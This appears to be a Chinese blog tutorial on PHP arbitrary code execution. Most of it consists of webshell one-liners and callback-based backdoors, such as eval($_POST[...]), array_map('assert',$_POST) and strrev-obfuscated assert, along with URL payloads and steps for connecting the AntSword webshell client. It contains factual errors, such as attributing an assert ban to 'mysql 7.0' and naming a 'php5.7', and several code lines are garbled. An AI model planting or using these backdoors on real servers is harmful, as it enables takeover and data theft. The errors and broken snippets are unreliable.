基础漏洞——任意代码执行漏洞

这个必须的白盒测试情况下,才搞的出来,当然有大老能猜到,不过几乎为0。

目录

一.原理

二.相关的函数

(1)assert ()在mysql7.0版本被禁了。

(2)preg_replace ()+ /e 模式    php5.7版本以上被禁用。

(3)create_function ()

(4)array_map ()

(5)call_user_func ()

(6)call_user_func_array ()

(7)array_filter ()

(8)usort (), uasort ()

(9)$_GET[' a' ] ($_GET[' b ']); //a=assert&b=phpinfo ()

三.任意代码执行漏洞危害 

四.任意代码执行漏洞防护

一.原理

由于web应用对于用户输入的数据进行过滤或者过滤不严格,导致攻击者可以直接接触的危险函数,像eval()、assert()函数,eval等函数可以将字符串当作代码来执行,从而让服务器沦陷。

例子:

这里有一个一句话木马

http://192.168.2.18/1.php?1=phpinfo()

http://192.168.2.18/1.php?1=phpinfo();

二.相关的函数

eval ()

assert ()

preg_replace ()+ /e 模式

create_function ()

array_map ()

call_user_func () / call_user_func_array ()

array_filter ()

usort (), uasort ()

$_GET[' a' ] ($_GET[' b ']); //a=assert&b=phpinfo ()

(1)assert ()在mysql7.0版本被禁了。

(1.1)普通的形式

http://192.168.2.18/1.php?1=system(ipconfig)

如何用蚁剑连接这个函数

由于蚁剑只能通过POST所以再在里面写一个一句话木马。

http://192.168.2.18/1.php?1=eval($_POST[123])

(1.2)通过.连接

http://192.168.2.18/1.php?1=phpinfo()

这样的话,拿eval也可以了?答案是不行,这也是为什么assert函数在7.0版本被禁止的原因,太变态了。

(1.3)通过substr

(1.4)反转函数strrev

http://192.168.2.18/1.php?1=phpinfo()

(1.5)用函数包裹

http://192.168.2.18/1.php?1=phpinfo()

function yy1($a,$b,$c)

{

yy2($a,$b);

}

function yy2($a,$y){

$a=strrev($a);

$a($_GET[1]);

}

yy1($a='tressa',$b='y',$c='w');

(2)preg_replace ()+ /e 模式    php5.7版本以上被禁用。

代码:

<?php

$str = 'sCdScds';

//如果使用/e修饰符,做替换的时候就会当做PHP代码执行

$preg = '/\w+/ie';

//定义替换字符串为php可执行代码例:phpinfo()

$aa = "phpinfo()";

//进行替换

echo preg_replace($preg, $aa, $str);

?>

替换过程中会将$aa当作代码执行。

http://192.168.2.18/1.php

用蚁剑连接

$str = 'sCdScds';

//如果使用/e修饰符,做替换的时候就会当做PHP代码执行

$preg = '/\w+/ie';

//定义替换字符串为php可执行代码例:phpinfo()

$aa = "$_POST[1]";

//进行替换

echo preg_replace($preg, $aa, $str);

有时需要不同编码。

(3)create_function ()

<?php

//函数内部执行代码

//查看php版本

$func = create_function('',phpinfo());

$func();

?>

''函数名,这个意思就是创建一个func名的函数,执行phpinfo()

连接

//函数内部执行代码

//查看php版本

$func = create_function('',$_POST[1]);

$func();

?>

 

 

(4)array_map ()

<?php

//传递函数名

$f = $_GET['f'];               //assert

//传递php执行代码

$c = $_POST['c'];                       //phpinfo()

$a[0] = $c;

// array_map(functionName,arr1,arr2...)

//函数名(必填) 需要修改的数组(必须填)1个或多个

$arr = array_map($f,$a);

//var_dump ($arr);

?>

array_map('assert',$_POST); 

随便什么密码都可以直接连接。

调用assert执行POST1.

array_map('assert',[$_POST[1]]); 

(5)call_user_func ()

$f=$_GET[1];

$p=$_post[2];

call_user_func ($f,$p) ;

(6)call_user_func_array ()

<?php

//                                              函数 数组参数

// call_user_func_array(function, param_arr)

$a = $_GET['a']; //函数名

$b = $_POST['b']; //函数参数

$c[0] = $b; //数组方式存放参数

call_user_func_array($a, $c);

?>

$f=$_GET[1];

$p=$_POST[2];

call_user_func_array($f,[$p]) ;

(7)array_filter ()

<?php

// 数组 回调函数

//array_filter($arr,function);

$aa = $_GET['aa'];//输入函数名

$bb = $_POST['bb']; //函数参数

array_filter($bb,$aa); //assert $_POST['bb']

?>

参数与call_user_func_array ()相反。

(8)usort (), uasort ()

<?php

//元素排序 数组 自定义排序函数

// usort(array, myfunction)

//版本需要5.4+ (注意数组至少要有2个元素)

要执行的代码不要放在第一个

usort($_GET, 'assert');

?>

<?php

//元素排序 数组 自定义排序函数

// usort(array, myfunction)

//版本需要5.4+

//元素排序 数组 自定义排序函数

//usort(array, myfunction)

$a = $ POST['a'];

//这里注意第一个变量数组需要在

首位增加一个任意元素

$b[0]= 1;

$b[1] = $a;

var dump($b);

6c=$ GET['C'];

usort($b, "$c”);

?>

(9)$_GET[' a' ] ($_GET[' b ']); //a=assert&b=phpinfo ()

<?php

$_GET['b'])($_GET['b']);

//一句话写法

$_GET['a']($_POST['a']);

?>

参数:url?a=assert&b=phpinfo ()

三.任意代码执行漏洞危害 

1.反弹shell,攻击者可以直接接管服务器

2.执行恶意代码

3.访问敏感数据

4.对我们服务器造成破环

四.任意代码执行漏洞防护

1.使用可靠的库和函数

2.定期扫描审计

3.严格的访问控制

4.对有些特定命令做限制。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值